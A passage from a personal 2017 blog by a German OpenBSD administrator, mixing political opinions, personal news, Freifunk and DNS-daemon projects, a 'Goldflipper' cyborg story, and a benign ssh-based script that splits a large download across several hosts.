The North Sea's deepest point
March 8th, 2017
In the north sea, north of Germany, there lies not far from Norway the
Norwegian Trench. It is as deep as 700 meters. This is the only point
where the north sea is 700 meters so it makes sense that the norwegian
trench is the intended place for these "power" spheres that are pumped
storage facilities, as the Fraunhofer Institute for Wind Energy and
Energy Systems Engineering has envisioned. So I looked a little at this.
I tilted my head a little and thought, that would make an incredible
underwater replenishing station for submarines. If enough power spheres are
made it won't be immediately noticeable that they would repurpose some to be
hydrogen storage containers. Hydrogen? What for? Well if you haven't
heard by now Type 212 submarines of the German Navy use hydrogen to get their
power. And did Norway have the same subs? Well yes. They just ordered a
batch of four from Germany last month. So there is the operators of the
replenishing facility. Only problem is: Can Type 212 subs dive to 700 meters?
And I checked on wikipedia and the answer is, yes. So perhaps there is a
military mandate as well as the economic mandate for these power spheres.
I gotta admit I really used my imagination to the fullest here, and used
wikipedia to back up hypotheses. Would be something right? If there was a
submarine base just off Bergen? BTW Bergen is strategic, in all my games
of the submarine simulation "Red Storm Rising" as a youth it was the Soviets
that would capture Bergen first and a submarine had to stop the landing
crafts. It was usually that the Soviets succeeded in taking most of Norway
and Germany, so if that's in simulations it must have been a fear. Red Storm
Rising was a game that probably had navy advisors as common knowledge would
have never been enough to make that game as real as it is.
OpenBSD 6.1 will be released on May 1st
March 8th, 2017
Once that release is done, I'll be upgrading computers around here, and I'll
get a new domain too, as I want to run delphinusdnsd in production somewhere
with a test domain. I have the capacity to do this now with the new VPS.
Also I've been thinking around how to better the database with delphinusdnsd
which uses BerkeleyDB from Oracle as it's underlying database. I may have to
rewrite the database entirely and make a shared memory hash table. Time will
tell and it will tell if OpenBSD will upgrade BerkeleyDB or not. Currently I
believe it's at 4.6.21p3.
A thought just came...are humans in the way?
March 12th, 2017
Brexit came at an interesting time. This time we realise that human resources
for labour are starting to dwindle. This is not because of a lack of humans.
In fact we have more humans than ever. But I'm talking about automation.
About a decade ago I attended gatherings of laid-off personell and other job
seekers and I remember one lady was among the first victims to digitalization.
She was a photo developer working for Kodak or some company, and was laid off
because digital cameras replaced analog film cameras. I predict in a decade or
two time I will again be visiting those meetings as the System Administrator
who was replaced by Artificial Intelligence.
Then there is Great Britain whose
humans voted for exiting the EU. This can be a chance for britain to up its
manufacturing as automation only and to develop its AI backed with quantum
computer technology. A quantum computer on that small island is almost a
saviour when comparing the island with the human resources of the continent
Europe. Britain can enter as a guardian and security analyst by checking
Internet traffic that transits its country en-masse with artificial intelligence
and quantum computers and thus it might get a pretty good picture of what a
single firewall state or flow is about to do. It can then sell this information
to 3rd parties or governments. What this leaves the british public with is
unknown. Either everyone is gonna travel the world and hardly be home while
computers do all their work, or they'll be locked up in their house and using
virtual reality to entertain themselves. Would this create a nation of
VR addicts? Is that life really satisfying?
And lastly I want to throw in why basic income is perhaps a good thing in times
where industry is automated. We should be persuing a model for humans that
allows us a satisfying life (since our economy is rolling) and much like in
the series Star Trek TNG humans try to better themselves intellectually and
spiritually. Unfortunatly the speed at which automation happens is faster
than the speed at which politics are realising that humans will be out of
work and temporarily or permanently depressed about this state. We need to
make it clear that yesterdays politics need to be replaced by todays needs.
I did this change because RFC 7208 section 3.1 says that SPF records were
discontinued. Finally someone told me! lol.
Let's just end this here
March 14th, 2017
Turkey is just using Germany and the EU, to get support for its already
anti-EU course. Why should they be in the EU? They shouldn't. The
differences between Turkey and the EU are too great. Turks might feel
offended by Europes stance, but this is not your country that you pledge
allegiance to! Unfortunately we have to watch all the human rights abuses
come out of Turkey, just to prove a point that they are different. Why do
we need them in NATO? How strategic is a dictator run Turkey to NATO? We
don't need them! Let this end. It's better this way.
We're 10 cm's from the Sun (1mm)
March 16th, 2017
I saw this youtube
clip partially until he set the distance to Jupiter. If the Sun was 1 mm in
diameter (radius off wikipedia says 695,700 km) then the earths to scale
distance I worked out to 107 mm or 10.7 cm given that the distance of an
astronomical unit (AU) is 149,597,870 km. In the video astrium goes on to
say that Mars is 16 cm's from the Sun. I proofed the distance with earth
today and had some discrepancies until realising that 2 * radius == diameter.
:-)
The only way to outdo Facebook/Google/Silicon Valley and Co.
March 19th, 2017
When european politicians talk about restricting facebook for example, it won't
do. The only way to beat facebook and apply european law is to create a
competitor platform that offers more than facebook, ie. competing against it.
We are eons behind in this so it's not easy to outdo facebook and google. But
if politicians would have the will to work with private enterprises to create
a competitor platform by investing billions (that's how much it would cost),
then and only then will the european user be under a european law-umbrella.
Politicians don't realise this though. They think it is sooo easy to create
a digital border in "cyberspace". It won't do. Half the people on facebook
are addicted to it and emotionally bonded to it. The only way to break the
spell is to break it with another spell, like mentioned above. With european
law there must come law evolution meaning that some laws are perhaps not in
europes best interests, and serve only a minority. Anyhow. Here is a question
to local politicians then "how long will europe have to be beaten
technologically for you to realise politics can't save us?". Put up.
Tomorrow is Equinox
March 19th, 2017
At 10:28 UTC is equinox. That is when the sun crosses the equator of earth.
You may have guessed then, that this only happens twice a year. Officially
after the sun crosses the equator in either direction somewhere on earth it
is spring and otherwhere on earth it is autumn. Namibia is starting autumn,
and Germany is starting spring. That's just how it is in the march equinox.
When Algorithms Fail Humans
March 23rd, 2017
I sent a resume to some place that was hiring. Their algorithm scored my
mail as a spam mail due to the .pdf attachment that was my resume. I sent
a followup a few weeks later asking if they saw my resume and by then they
realised that my mail was not spam. Unfortunately for me, the position for
the job was then already filled. I believe this is one case where an
algorithm failed humans. Or is it sheer bad luck? Between the mailings
I changed my SPF record to a TXT record as per RFC 7208, which changed in
April 2014 and my anti-spam setup was outdated.
Last night Europe turned on Summer Time
March 26th, 2017
When I type date on a UN*X system it says this:
Sun Mar 26 10:52:20 CEST 2017
ahhh! finally summer time CEST! I was once vehemently against the switch
at all, but now I just don't care anymore. It would be nicer to have no
summer time but then again, who cares!
Ex-Ledward Barracks starting to be demolished
March 26th, 2017
On December 9th, 2014
I reported about the American Forces leaving Schweinfurt. Now there is the
first demolishing of the old Barracks I just
read
in the mainpost our local newspaper. They have designated the east wing of
the barracks for schooling, in particular the local college FH W"urzburg-
Schweinfurt. I haven't seen it in real life yet but I'm sure one would not
recognize it again. Strangely I read somewhere a few weeks ago that the US
Army is seeking for new Barracks in Northern Germany. That is ex-british
territory in the division that happened after WW2. I disagree with President
Trump that Germany "owes" the US money over protection. The remaining US
forces in Germany are remains of the second world war of an invasion force,
why would we pay a cent for that? Why we'd be crazy. Our military can be
modified to give us a reasonable protection without NATO forces on our soil,
and in a jiffy at that. Anyhow "interests" cost money so much is clear. And
it's in the US best interest that Germany doesn't get invaded by the Russians
even if Germany doesn't pay the Trump government. In regards to conscription
which is something Sweden re-introduced recently, there is probably a chance
that Germany will re-introduce it too in the foreseeable future to come. This
is simply because when forced there is more potential good soldiers that become
"career" soldiers. Currently the advertising of the Bundeswehr is probably not
effective in finding the right persons. That's just a prediction of mine, as
I don't really know as I never had to serve because I lived in a foreign
country at the age when people get conscripted. So I barely missed out.
What science should focus on in my opinion
March 27th, 2017
Science in all of history has largely been a trial and error method. There
was a hypothesis and if some work surrounding that hypothesis matched then
there was material for a positive conclusion. In these days we have a great
system of many many hypothesis's and we get a bit of positive conclusions out
of it.
I personally get angry when I see people working with rare elements and
"waste" their time with it. Such as gold. Why gold? Just because some guy
put it on his crown and shield and it looks nice why do we waste our time
with it? It has no value to me.
I personally would like to see scientist try out the most abundant elements
that we have on earth (32.1% iron, 30.1% oxygen, 15.1% silicon,
13.9% magnesium 2.9% sulfur, 1.8% nickel.. stop). Let's work with the ones
that are over 10% so iron, oxygen, silicon and magnesium. Also we should look
to the Universe and see what elements are abundant there. Hydrogen and Helium.
So we have six elements that we should be focusing science around. Forget the
rest they aren't important enough! One element we could be working with is
Carbon but let's keep it at that. So seven elements in total.
I have dug up this chart from wikipedia which I find pretty interesting:
We should be doing science with the most abundant of elements because there
may come a time when we're short of everything and can only use what's
immediately available. Does it not make sense? To me it does.
Totally disagree with this SP.ON. article
March 27th, 2017
In this article
on Spiegel Online the author fingers the EU and US industry at trying to
weaken Germany. Dieselgate is the cause of that, but it was braught about
by whom exactly? You got it. VW. And then he goes on to say somewhere in
the article that up to 2 million people are indirectly dependent on the car
industry and that if everyone bought an electric car that there would be job
losses because the car makers are getting less money per e-car than any other
emissions car. Now, I've been on the search for an electric car for the last
little while and I smell hot air from this guy. For one, an electric car costs
three times as much as it's emissions counterpart (Renault Zoe vs. Clio) with
batteries included. So if the producers aren't pocketing great profits on
this I'd be surprised. The fact that I mentioned Renault (a french maker) is
that it's still cheaper than the german competition (Opel e-ampera, BMW, and
VW E-Up and E-Golf), yet it's still expensive. Maybe he overlooked that many
people want an electric car in this country and that the local automakers are
letting us down. They slept, they lied and played with fire at dieselgate.
And we're supposed to feel sorry for job losses? We should buy a friggen
emissions car to keep some assmunch in their job and all they do is turn around
and lie to us? No. I totally disagree with this guys sob story and I'll buy
me a Zoe from surprise surprise not the korean dealer but the next
neighbouring country over. VW should roast and pay up, because VW not only
tarnished it's own leadership, engineering and staff but also all of Germanys
reputation of honest craftsmanship and engineering. You guys can bring all
the sobstories you want, you don't get me feeling sorry for you.
Turned down the heat
March 27th, 2017
My "Nachtspeicher" heating system is turned down to 2 hours now, and I have
set the setting on the units themselves to level 1. I hope I don't freeze,
but today is extraordinarily warm in my apartment.
Reinhard Tgahrt, Rest In Peace
April 1st, 2017
Sadly, not an April Fools joke. Reinhard Tgahrt my uncle passed away last night. He would have been 81
years old on July 4th. What can I say here? Reinhard was an interesting
person and a great uncle. He lived in Marbach not far from his workplace the
Schiller Archive and Museum. I believe he loved his work. He loved poems and
not just simple ones. I would recite one he said but I don't know where to look
all I remember one he said was called "Endlich". I think I could dig out a
long list of things he contributed to in Germanistics but it's all online. He
was a great person, and I'd toast to his life with a pistachio that he loved to
eat so much. I'm gonna keep it short so I'd end the conversation quickly
like he always did with a simple, Adieu!
I've left parship.de, unsuccessfully
April 2nd, 2017
Well I've asked parship.de to delete my profile. I never had any luck finding
anyone, since becoming a premium-member last april 6th, 2016. I think the
service is a scam personally. Thanks for nothing, and they're expensive too.
My Bloomin' System
April 3rd, 2017
Spring here has arrived. When I look out my window, I see this:
Of course it loooks a lot better than in the photo IRL.
I'm ready to go back to dating
April 5th, 2017
After leaving parship.de a thought came to me. Why do I need a middle man to
ask someone out? I have registered
schweinfurtdating.de
and put myself on it. If anyone comes across it they can e-mail me if they
find me interesting. I also want to give others the chance of presenting
themselves on this website. I hope I don't get swamped with the workload.
Instead of 500 EUR for parship.de I paid 5 EUR for the domain, and I have
enough resources to facilitate a bit of webhits. If it gets too bad I'll
move the website around my VPS's a little to balance the bandwidth. Here is
hoping that I'll have a gf in 2017. :-)
I identify with Goldflipper from OpenBSD 3.2 Release
April 8th, 2017
I identify with goldflipper. That's why I even registered the
domain
goldflipper.net before. If you may know Puffy dressed as 077 (ascii sign for '?')
as a dupe to 007 (james bond) destroyed goldflipper a cyborg made by "the
doctor". There is several hints that goldflipper is me. 1. Flipper is a
common name for my last name as a word of taunt. 2. My dad is the doctor and
was called so at his work even. 3. When I left Canada as my place of
residence after having a very hard time in Ottawa, OpenBSD 3.2 came out with
a taunting "goldflipper is gone". Just for your information puffy did not
destroy goldflipper, but rather had him go back to square one, for repairs.
I didn't even know what hit me, and I sure as hell did not expect puffy to
take me out. All is good now, I know now where puffy stands, not only did
he do Goldflipper but also came out with Blob in 3.9. Keywords bonding 3.2
and 3.9 are again goo and doctor. Check the lyrics and compare
(in this link). I don't think
I'm mistaken, puffy did his homework through some sorts of spying, he was
very informed about where I came from and about my family. Noone would have
known about "the doctor", I never told that to anyone until recently.
So where does that leave me? I'm old now compared to these younglin's and
fairly retarded due to the meds I'm on. I'm not even gonna counter-attack
I don't think. I'm just deeply hurt that puffy took me out. Now I'll give
you another piece of the puzzle. I once taunted puffy with means of a
donation, where I provided a small poem pitting the city of Toronto against
the city of Calgary with it's pathetic mayor at the time Ralph Klein. Then
again at the time Toronto had pretty dull mayors too, I think it was
NOOOOOOBODY's Mel Lastman. It may seem like fun and all, but let this be
a warning to anyone in Canada before you get into a spat with someone.
Especially immigrants who don't have a status beyond landed immigrant
should watch out. Puffy throws acids such as LSD!
Very low. Very low. It was a blow, deep below the waist
But make no haste, we know without a doubt that puffy was the taste
And let this poem stand, for only one ruler rules the band
the devil with his left-side glory does not control the sand
Because sand is made of rock, and rocks are forever
And this connection from near and far will never sever
For a tear from my eye will fall and drops will appear as ice
cling cling clang rattle bing bang I'll make my noise all winter
spring, summer and fall, you'll never get me all, I'm out.
Puffy may have a sample of blob, but I have sample of bluffy!
First draft of the Goldflipper story
April 11th, 2017
(pictures and illustrations to come later)
A long time ago.. more than one revolution of Jupiter around the Sun, puffy
who was notified by octupus that goldflipper is its foe, which was a blatant
lie, destroyed Goldflipper and told the story in song, as a taunt.
When Goldflipper the cyborg was "destroyed" by octupus and puffy, it was able
to catch a flight to India on a TWA airliner. Just before reaching the EU for
a refuel stop goldflipper released itself from the airplane and dug into the
North Sea and dug deep into the sand near the Norwegian Trench.
It's systems were mostly overloaded. That was the part damaged from puffy's
neurodotoxin and octopus's psyops. The fission reactor almost had an accident.
There lay goldflipper and didn't make a noise, deep under the sand. Right near
a pocket of oil.
Soon the EU flipper family noticed that there was something deep under the sand
by means of sonar. Flippers have a tendency to scout for food under the sand.
There they found him breathing but not well. They took him into shlepp tow and
brought him to port.
Since Goldflipper had very little battery left they first gave him a coat of
black solar scales, so that the sun could power goldflipper. They repaired
the fission reactor but shut it down. It was not common for flippers to use
fission reactors anymore in the 2000's, goldflipper was a real blast from the
past.
Next the flippers gave him new non-magnetic steel frameworks allowing
goldflipper to keep its balance better, and also outfitted a fuel cell for
extra power that was scouted by the flippers during a "wandertag" in Franconia.
A set of Li-Ion batteries were installed as well, much later due to the finding
that a fuel cell with battery combination is a much better combination for
cyborgs.
By now goldflipper was mostly black. Under its skin was still a bit of gold
but it was mostly covered up by black scales and oil that kept oozing out of
goldflipper due to its repairs caused by the fight with octupus. Puffy once
came around and called him "Blobby" because it reminded him of a whale. At the
sight of the taunting puffy goldflipper almost lost its cool and destroyed
some Puffy CD's out of its library.
Nonetheless the Flipper family did a good job in repairing goldflipper, but
everyone was getting old and tired of the task. One flipper caught the
neurodotoxin from puffy and was sickened so bad she had to be put in a
wheelchair. The time was right for goldflipper to tell its story, when Jupiter
made a full revolution from the constellation Virgo, which had the sun in it
when Puffy and Octupus attacked Goldflipper. Goldflipper who was a virgin
reborn due to the repairs felt that now was the right time to tell.
Soon goldflipper would be able to show its new armour and insides to the world.
It amassed a lot of RAM and CPU power over the years. It could let everyone
know that it survived the attack by puffy and octopus, which
was already told to the caribbean sea many moons ago, but that was a different
story. Revenge on puffy is probably not a good idea, but octopus may have it
coming, because puffy noticed octupus told him lies. Only time will tell.
Goldflipper lives!
OpenBSD 6.1 was released yesterday
April 12th, 2017
Congratulations to the entire team that find time to give us the best
OpenBSD OS yet.
Registered Goldflipper.DE
April 12th, 2017
I once had goldflipper.net but this time a .de is cheaper. The funny thing
I noticed is when you compact goldflipper to AUflipper it sounds like someone
who gets lippy. That's me for sure, in my younger days.
Upgraded most my servers and hosts to OpenBSD 6.1
April 14th, 2017
I was very busy yesterday and today upgrading most my hosts to OpenBSD 6.1.
The upgrade process was straight forward and I don't have any complaints.
Thank you OpenBSD!
Purchased/Ordered a Wacom CTL-490DW
April 17th, 2017
OpenBSD has support for this wacom tablet and I have a need for doing some
drawings or illustrations. Hopefully it'll work out.
Von der Leyen and Bundeswehr should listen to this
April 18th, 2017
I've always said that networks and computer systems should be defensive only.
However the German Bundeswehr insists
on installing "active" offensive network mechanisms. In my opinion this is the
wrong way about this. Bruce Schneier a cryptography expert agrees that there
must be a balance. In my opinion, what Germany really needs is a secure
operating system and secure network
infrastructure, not a bunch of smurfers or DDos'ers. The OpenBSD operating
system which focuses on correctness, security and functionality has a few
innovations that help
in this field. Trust me, this is the correct way. Active attack is so wrong
in the eyes of a system and network administrator such as me. You guys need
to learn! And by that I mean that the Internet is very delicate, and any
nonsense such as "cyberwar" will not go over well.
Got the Wacom CTL-490
April 21th, 2017
Well I got the Wacom. I unwrapped it... plugged it in. and I see this in my
dmesg:
uhidev3 at uhub0 port 8 configuration 1 interface 2 "Wacom Co.,Ltd. Intuos PS" \
rev 2.00/1.00 addr 5
uhidev3: iclass 3/1, 1 report id
ums1 at uhidev3 reportid 1: 5 buttons
wsmouse2 at ums1 mux 0
I didn't work right away, I first had to restart X11 with control-alt-backspace.
Then it really worked! I fired up gimp and made 2 doodle drawings. This is
the second drawing I made with it on OpenBSD and gimp:
I'm very satisfied! Thank you OpenBSD and thank you to the author of the
uwacom(4) driver Frank Groeneveld! I'll be making more detailed illustrations
of Goldflipper in the time to come.
First draft of image of Goldflipper attack
April 21th, 2017
There is more to come.
Second image for Goldflippers attack
April 21th, 2017
Goldflippers escape
April 21th, 2017
Goldflipper is detected
April 24th, 2017
Goldflipper's new solarscale suit
April 24th, 2017
Government issued national ID card online
April 24th, 2017
Before a nation decides to hook everyone to an ID card, I'd like to remind
them that not everyone runs windows. And it is against our democratic right
to be forced to use windows. No, I don't run a Macintosh at all times either.
My OS (betriebsystem) is OpenBSD. If you'd like me to run your ID card, I
expect a fully open sourced driver to my OS. The driver has to satisfy the
OpenBSD developer community in order to be accepted into the base kernel
system. No, it isn't linux and it's not linux compatible! There is a lot of
OS's other than Windows and Macintosh, AND I'm afraid you'll have to satisfy
all instances if you want 100% coverage. This means jobs for developers.
It can be done. Please make it so!
In 6 days we're 8 years old (with history)
May 1st, 2017
Happy anniversary!
Why do we need more than one State-run TV station?
May 8th, 2017
Rumours has it that the state-run TV and Radio stations are wanting to increase
the GEZ tax. Now the question abounds to.. why do we even need more than one
state run TV station? As the "official" voice of the state we don't need two!
In german these state run behemoths are called "Oeffentlich-Rechtliche Sender".
Germany, you're not giving choice, you're milking ordinary citizens dry with
GEZ taxes! Let there be only 1 TV and 1 Radio station that is from the
government. Because even if we switch channels the message coming from the
government will always be the same. There is no difference! Let some die!
And we welcome the digitalization of the state-run TV station and radio.
Goodbye Soekris! Pity to see you go!
May 11th, 2017
Soekris was a small i386/amd64 computer on
a rackmountable or desktop small case. They were driven out of business by
the competition in Asia and what I think was a business mistake. Their long
awaited products never left the drawing board last. I would have bought it
but they scrapped it.
This is my soekris at home but it uses more connections than the one you see.
In fact I utilize 1 external NIC card fully with 1 connection on the second
card.
Goodbye Soekris rest in peace! It was probably the last Made in the USA
computer that I bought, pre-snowden. For all those other manufacturers
that are waiting on business, we want 10-Gigabit ports! Without them we can't
justify buying more equipment. I also want under 20 watts power consumption
on top of that.
Purchased a 4TB external USB3 harddrive
May 18th, 2017
In fact I did this last week even on the 12th. The new drive is amazing. It
can be written to at 70 MB/s, I find that extremely high. And that's only
from copying from the internal drive on my computer "earth" (mac mini) to it,
so it may just be limited to the read speed of earth's internal hd.
First I wanted to encrypt this drive but noticed that I had too many sectors
in order to use softraid's crypt. I guess softraid by default is limited to
2TB unless you fiddle with the sector size which I did not want to do. So I
left it unencrypted, on FFS2.
I already put some backups on this drive:
Filesystem Size Used Avail Capacity Mounted on
/dev/sd1a 3.6T 367G 3.3T 10% /backup
Now you may wonder why i's 3.6 TB here and I said 4TB. Well WD sold this
with the label "1 TB == 1 trillion bytes", so let's do some math.
$ dc
4 1000 * p
4000
1000 * p
4000000
1000 * p
4000000000
1000 * p
4000000000000
1024 / p
3906250000
1024 / p
3814697
1024 / p
3725
It comes very close to 3.6 in fact when I do the last step with a calculator
I get 3.6376953. (dc doesn't give me decimal places in the way I'm using it).
I'm overall pretty happy with this purchase. I've never had this much capacity
before.
Purchased 2 WR-1043ND Routers for Freifunk
May 22nd, 2017
I purchased two more routers for Freifunk. I need these to accellerate my
network at home a little. In other news I'm trying to give out a few
WR-841 routers to stores near here in order to grow the Freifunk in my
neighbourhood. We recently got a new router for Schweinfurt and the Freifunk
Net is gonna rock!
Built an aggregator for big files
May 25th, 2017
I had the problem of getting 8 Mbps downloads across the Big Pond (tm) from
my VPS psi.virgostar.net. So I constructed a little system with scripts and
ssh to aggregate several locations together. Now I get ~30 Mbps.
As you can see this is how it works, each arrow is an ssh connection. BPI is
the Big Pond Internet, the area where I cross the ocean. I checked I get
routes from Tata, Telia and Cogent, so everything is nicely dispersed and they
can't put 2 and 2 together and throttle all my hosts. At uranus I assemble
the temporary files into 1 big md5 summed file. If the md5 sum is fine then
it deletes the temp files. Below is the script from Uranus which does most
the work of chopping up the workload for each host.
#!/bin/sh
if [ $# -ne 1 ] ; then
exit 0
fi
RET=`ssh psi /home/pipe/pipe.sh $1 || echo NSF`
if [ x$RET == x"NSF" ] ; then
echo no such file
exit 1
fi
SIZE=`echo $RET | awk -F: '{print $2}'`
MDSUM=`echo $RET | awk -F: '{print $NF}'`
CHIP=`expr $SIZE / 4096`
date
echo getting 4 chunks of size $CHIP
TMP1=`mktemp 1.XXXXXXX`
TMP2=`mktemp 2.XXXXXXX`
TMP3=`mktemp 3.XXXXXXX`
TMP4=`mktemp 4.XXXXXXX`
BASENAME=`basename $1`
ssh omega /home/pipe/pipe.sh $1 0 $CHIP > $TMP1 &
OFFSET=$CHIP
ssh supercluster /home/pipe/pipe.sh $1 $OFFSET $CHIP > $TMP2 &
OFFSET=`expr $CHIP \* 2`
#OFFSET=`expr $OFFSET + 1`
ssh chi /home/pipe/pipe.sh $1 $OFFSET $CHIP > $TMP3 &
OFFSET=`expr $CHIP \* 3`
#OFFSET=`expr $OFFSET + 1`
ssh psi /home/pipe/pipe.sh $1 $OFFSET 0 > $TMP4
wait %1
wait %2
wait %3
cat $TMP1 $TMP2 $TMP3 $TMP4 > $BASENAME
SUM=`md5 $BASENAME | awk '{print $NF}'`
if [ $SUM != $MDSUM ] ; then
echo sums do not match!
exit 1
fi
echo file is $BASENAME
date
rm -f $TMP1 $TMP2 $TMP3 $TMP4
exit 0
There is intermediate scripts on omega, chi and supercluster and another big
script on psi to make this all work. But I'm not gonna share it all here.
Played with my wacom a few days ago...
May 26th, 2017
Or... from a different perspective:
Go flipper go!
Launched first page of http://goldflipper.de
May 30th, 2017
I have launched the first page, more to follow on goldflipper.de. I think it looks great so far. Also check out the
reload the colour border is randomly created.
Why I think America is greedy, under Trump's presidency
June 1st, 2017
I don't know why Donald Trump thinks America is getting the short end of the
stick in trade. Let's look at some facts. America has a monopoly in data.
You know..google, microsoft, apple, facebook, twitter, amazon, what have you,
those are all american companies. There is not too much competition for these
that I know other than perhaps baidu in China and vzkontakte in Russia. So
while the rest of the world is locked-in to american data brokers, they are
saying they are getting the bad deals. This is greedy! As you may know, data
isn't profitable by itself. But massage it with analysis it is very valuable
and it is powerful. The trick is to run powerful algorithms over it after it's
being collected.
Now, the NSA has access to some of that data and they have
their own data. But the NSA isn't for-profit per se. But they run some of
the same algorithms that for example google might. It's in their interest and
again they have a monopoly of this data in the world. You may remember the
spy plane that was damaged in April 2001 as it was collecting data from cell
phones in China. That is what's called aggressive data collection.
So while perhaps other areas in trade are lacking overall, the "data" cannot
be overlooked. And that's why I think America is greedy.
Registered freifunk-schweinfurt.de
June 8th, 2017
I'm an avid Freifunker and Schweinfurt just got a hood, which means we have
a few gateways (tunneling gateways) for our city and the immediate region.
Anyone from the Schweinfurt Hood can get a hostname in this domain, just
email me, or find me on IRC. The new domain forwards http to the
Freifunk Franken Schweinfurt
section. Yay!
Donation Time: OpenBSD gets 50 EUR
June 8th, 2017
I have donated 50 EUR to Theo de Raadt. OpenBSD is an operating system for
all sorts of computers. Keep up the great work, OpenBSD!
Schizophrenia does not 'burden' society
June 8th, 2017
A friend sent me this article. I read the Objective in the abstract
and stopped reading at the sentence "Given the immense cost to society"...
What costs? I have schizophrenia and I work. I pay my own health insurance,
rent and I take my meds. There is no costs on society. The sentence itself is
self-justifying, in other words selfish. In fact I'll tell you right now
I do not have any "voices from god" telling me to stab someone 3 doors down.
That's not what my illness is about. In fact if I were such a danger to
society then how come I can do everything anyone else can.
Except, it's
harder to find work. Since my diagnosis of schizophrenia I held three jobs.
Two of them I was fired from, the third I'm on right now, and I'm hoping to
be working in the future at some other job. I spent 7 years on welfare and
this was because I could not even convince anyone for a job interview.
Put
yourself in my shoes, first everyone ignores you, and then they say you're
a burden because you don't have work. Let's get rid of the stigmas, because
we're very capable people, and not all of us hear voices. In fact I don't.
Even without medication I do not hear voices, sorry to spoil your fanatical
view of schizophrenics. The problem is people who freak out when they see
someone they identify as a schizophrenic. And perhaps that's a burden to
society.
This is the 1171st article of this blog
June 12th, 2017
I didn't realise I passed 1000 articles here. Even with 10 articles per month
for the last 8 years I've surpassed 960 which is what I figured with
8 times 12 times 10. I'm very proud to be blogging still.
The keyword search engine is very valuable tool as well. I use it often to
find things I wrote about. One day I'd like to change this to an advanced
search where you can use AND, OR or boolean search. But that'll have to
hold for now.
It's also worth noting that this blog does not use an SQL backend. I use
plain files to store the content. I use a small script in UNIX to add
content (articles), and the editor is vi. With all the injection attacks
on SQL I felt that what I did was much safer, but granted it doesn't
scale on large blogs with 10,000's of articles. For my operation this is
still OK.
100 million migrants, due north
June 18th, 2017
A minister in Germany warned that due to the pollution that's output by the
industrialized countries many African citizens may be forced to migrate north.
The numbers are staggering, one hundred million people. I'd like to explore
this scenario a little, at least in my thoughts that I'd like to share.
I believe we have a responsibility to global pollution, it has after all given
us temporary wealth here in Europe. We're currently a changing people.
Industrialization paved way to the
information age, and perhaps physical borders don't matter so much anymore.
However in the EU we have roughly 500 million people, an addition of 100
million Africans would change our society in many ways. One in six people
would be black if I am allowed to imagine that far.
Also our GDP would temporarily fall
as not all Africans are rich, and chances are the poorer ones would migrate
first. Perhaps instead of "integrating" these new people we should melt with
them by meeting them halfway, with a new language. Esperanto perhaps. All
pupils would go to school learn Esperanto as their first language with their
previous language taking a second spot. It solves many problems, to do it this
way as noone has an advantage at least in languages. Now in knowledge we'd
probably benefit as even "the stupid" carry clues. Together we'd be able to
gain a lot of knowledge, while the Information Technology developed helps us
overcome. I'm talking about artificial intelligence.
Then, we'd probably have to make plans to migrate ourselves as well. Destination arctic and antarctic circles. As a northern hemisphere race we may spread into a southern hemispheric race as people settle on antarctica. Antarctica has
a landmass the size of the United States. Migrating north or south.. I have
seen first hand
how this could work, because I visited a school friend who lives just south of
the arctic circle in Canada. There is no trees, yet anyhow. As temperatures
on earth rise perhaps the treeline will spread further toward the poles though.
My friends
dwelling was built with wood. All things are really imported by giant ships
during the summer season. This could work on a large scale for the European
and African people who find themselves needing to move due to climate changes.
Europe is not Europe anymore, and Africa is not Africa. The global conditions
have changed, this is a fact. Cultures disappear, get surpassed by new
cultures. If you are against this cultural shift just look to history. We
were never a culture for thousands of years, it was always dynamic, and we
always had to adjust. It is important that we work together, not to make us
poorer but to survive as a human species. And that's what I think and that's
what I believe would be happening in the next 70-100 years which I will probably
not see.
Solstice in 2 days
June 19th, 2017
Solstice is in 2 days, on wednesday at 6:24 AM CEST, or 4:24 UTC. Happy
solstice!
Turned the fan on first time for 2017
June 19th, 2017
I got the fan out. It's 50 watts which is hopefully gained back by the
countless of solar panels we have in Germany. We should have a surplus in
"green" energy today as there is no cloud in the sky and wind is blowing.
I'm against governments hacking our devices
June 22th, 2017
Hacking (cracking) is illegal. Everywhere in the world. Yet governments want
to bend the rules and hack our devices. This is not just two-faced, it also
goes against our human rights. The PDA or even a smartphone is an extension
of the body and mind. We carry these devices because we want to know the
time, date, location, translate language and have a pointer where we saw
something to make a point to someone else. It allows us better expression.
It is an extension of our body and mind and should fall within privacy laws
for individuals.
If countries hack devices where will it end? Would privacy
erode and we'd be subject to carrying implanted chips? Why all this madness?
Why is there so much mistrust? 99.81 percent of us are good-willed beings and
we don't do what our governments don't want us to do (adhering to the laws).
So why should our security be compromised because of a measly 0.19 percent?
It should not be analysed whether we are in fact adhering the laws, it should
be analysed why others want power over our most private parts. I smell
corruption.
My new xlock with suspend
June 23th, 2017
Now that the german government can install trojans on our computers I have
decided to wrap zzz with xlock so that when I put the computer to sleep, it
will also lock the computer.
That's how the /home/pjp/bin/zzz script looks like. Thanks to abyxcos on IRC
for the discussion.
300,000 victims
June 25th, 2017
What is happening in Yemen is a shame. I'm set against the reasons why there
needs to be war against the Yemeni people. The people are victims of a brutal
onslaught by Saudi Arabia who want power of the entire arabian peninsula.
The cholera in Yemen could have been prevented had there been peace. I have
images of Yemen in my mind before the war, which I saw on television, Yemen
was doing well before.
Changes with DelphinusDNS
June 27th, 2017
Yesterday I completed the a change in delphinusdnsd that takes out BerkeleyDB
and replaces it with tree(3) macros as provided in BSD and libbsd. The code
to that I committed yesterday in delphinusdnsd-current.
To fully test this I have registered delphinusdns.org. I have 6 months on this, and I have made my vps's chi and psi the
authoritative nameservers for this. Hopefully I'll find more time to program
on this good dns daemon before next year.
Donated $10 USD to FreeBSD Foundation
June 27th, 2017
After positive help from some FreeBSD'ers on IRC, I have decided to donate
$10 to FreeBSD. Thanks for helping me make my software work on FreeBSD!
The endless fight around Freifunk
June 29th, 2017
Here in Germany we're suffocating on laws. If there is a law on how to breathe
I wouldn't be surprised. Freifunk which I mentioned in the Subject is an
initiative by citizens to provide a network free of cost to anyone. Most of
the time we also provide Internet access. It's a good service paid for by
the enthusiasts. Only, we're having a hard time growing because everyone is
worried about liabilities, yes you got it, they aren't sure about the laws and
would rather not have it. It's frustrating because approaching municipal
governments and city halls is so much harder. They are so bureaucratic, and
in my case I just got a nay to erect a repeater at a "citizens meet" which is
a place for the people! And I got this nay not because the laws say I can't
but because we're uncertain of the laws.
Now to tell you a little story Feifunk is a great thing. People can use it
when their own Internet doesn't work and we all know everything is tied to the
Internet these days. If you have no access to the Internet ever you lose out.
You may even lose your job if it's Internet based. Freifunk provides a new
gateway at no cost of limitation to use. You can even use a VPN through
